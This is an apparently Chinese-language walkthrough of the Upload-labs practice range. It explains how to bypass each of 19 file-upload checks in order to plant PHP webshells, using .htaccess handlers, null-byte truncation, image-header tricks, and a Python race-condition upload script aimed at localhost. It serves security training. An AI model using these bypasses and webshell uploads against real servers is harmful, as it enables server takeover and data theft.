Upload-labs通关攻略

Upload-labs通关攻略

Pass-01 JS绕过

开启代理抓包,发现没有产生流量就进行验证了,说明是前端JS验证
Upload-labs通关攻略_第1张图片
直接firebug修改前端代码,添加允许上传类型.php
Upload-labs通关攻略_第2张图片
直接上传Webshell,比如1.php,菜刀连接,网站根目录下发现flag.txt
Upload-labs通关攻略_第3张图片

Pass-02 文件类型绕过

进行上传尝试,发现提示:文件类型不正确,请重新上传!
Upload-labs通关攻略_第4张图片
应该是文件类型Content-Type检测,BP抓包截断上传数据包,修改Content-Type为image/jpeg,然后放行数据包,成功绕过
Upload-labs通关攻略_第5张图片

Pass-03 其他可解析类型绕过

尝试上传webshell,得到报错提示

Upload-labs通关攻略_第6张图片说明进行了简单的黑名单检测,所以可以尝试上传其他可解析的后缀名进行绕过,例如.php3
.php5等。
Upload-labs通关攻略_第7张图片

Pass-04 上传.htacess文件绕过

尝试上传,发现有黑名单限制,并且根据提示黑名单列表庞大
Upload-labs通关攻略_第8张图片
不过可以尝试利用.htaccess文件进行攻击
创建一个.htaccess文件(notepad++即可),写入代码(内容为将4.jpg当做php文件解析)

SetHandler application/x-httpd-php

上传.htaccess文件,再上传4.jpg图片马文件
Upload-labs通关攻略_第9张图片
菜刀连接,jpg文件能被当做php文件解析,成功绕过
Upload-labs通关攻略_第10张图片

利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

双引号"     =   点号.
大于符号>   =   问号?
小于符号<   =   星号*

先上传一个名为4.php:.jpg的文件,上传成功后会生成4.php的空文件,大小为0KB.
Upload-labs通关攻略_第11张图片
Upload-labs通关攻略_第12张图片
然后将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。
Upload-labs通关攻略_第13张图片

Pass-05 后缀大小写绕过

上传webshell失败,并且根据提示,限制了.htaccess文件的上传,并且有强大的黑名单
Upload-labs通关攻略_第14张图片
文件名后缀大小写混合绕过。05.php改成05.phP然后上传,绕过黑名单列表
Upload-labs通关攻略_第15张图片

Pass-06 空格绕过

尝试上传,发现大小写绕过失败,说明程序对后缀进行了大小写处理
Upload-labs通关攻略_第16张图片
利用Windows系统的文件名特性。文件名最后增加空格,写成06.php ,上传后保存在Windows系统上的文件名最后的一个空格会被去掉,实际上保存的文件名就是06.php
Upload-labs通关攻略_第17张图片

Pass-07 点绕过

原理同Pass-06,文件名后加点,改成07.php.
Upload-labs通关攻略_第18张图片

Pass-08 ::$DATA文件流特性绕过

Windows文件流特性绕过,文件名改成08.php::$DATA,上传成功后保存的文件名其实是08.php
Upload-labs通关攻略_第19张图片

Pass-09 点+空格+点绕过

原理同Pass-06,上传文件名后加上点+空格+点,改为09.php. .
Upload-labs通关攻略_第20张图片

Pass-10 双写文件名绕过

双写文件名绕过,文件名改成10.pphphp等格式
Upload-labs通关攻略_第21张图片

Pass-11 文件路径%00截断

上传路径名%00截断绕过。上传的文件名写成11.jpg,
save_path改成…/upload/11.php%00,最后保存下来的文件就是11.php
Upload-labs通关攻略_第22张图片

Pass-12 文件路径0x00截断

php.ini设置 magic_quotes_gpc = Off
原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成…/upload/12.php【二进制00】形式
Upload-labs通关攻略_第23张图片
Upload-labs通关攻略_第24张图片
Upload-labs通关攻略_第25张图片

Pass-13 文件头检测

绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。
Upload-labs通关攻略_第26张图片
使用命令copy normal.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。JPG一句话shell参考示例
Upload-labs通关攻略_第27张图片
png图片处理方式同上。PNG一句话shell参考示例
在这里插入图片描述

Pass-14 getimagesize()检测

原理和示例同Pass-13,添加GIF图片的文件头绕过检查
Upload-labs通关攻略_第28张图片
png图片webshell上传同Pass-13
jpg/jpeg图片webshell上传存在问题,正常的图片也上传不了,等待作者调整。

Pass-15 exif_imagetype()检测

原理同Pass-13,添加GIF图片的文件头绕过检查
Upload-labs通关攻略_第29张图片
png图片webshell上传同Pass-13。
jpg/jpeg图片webshell上传同Pass-13。

Pass-16 突破二次渲染

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例。
Upload-labs通关攻略_第30张图片
打开被渲染后的图片,Webshell代码仍然存在
Upload-labs通关攻略_第31张图片
提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。
Upload-labs通关攻略_第32张图片
Upload-labs通关攻略_第33张图片
从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。
Upload-labs通关攻略_第34张图片
程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。
Upload-labs通关攻略_第35张图片

Pass-17 条件竞争时间差

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

#!/usr/bin/env python
#coding:utf-8
#Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

$_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
    code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
    print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

在脚本运行的时候,访问Webshell

Upload-labs通关攻略_第36张图片

Pass-18 突破上传重命名

刚开始没有找到绕过方法,最后下载作者Github提供的打包环境,利用上传重命名竞争+Apache解析漏洞,成功绕过。
上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。
Upload-labs通关攻略_第37张图片
快速提交上面的数据包,可以让文件名字不被重命名上传成功。
Upload-labs通关攻略_第38张图片
然后利用Apache的解析漏洞,即可获得shell
Upload-labs通关攻略_第39张图片

Pass-19 文件名0x00截断

上传webshell,发现禁止保存php文件
Upload-labs通关攻略_第40张图片
利用文件名的0x00截断绕过。改成19.php【二进制00】
Upload-labs通关攻略_第41张图片

你可能感兴趣的:(网络安全)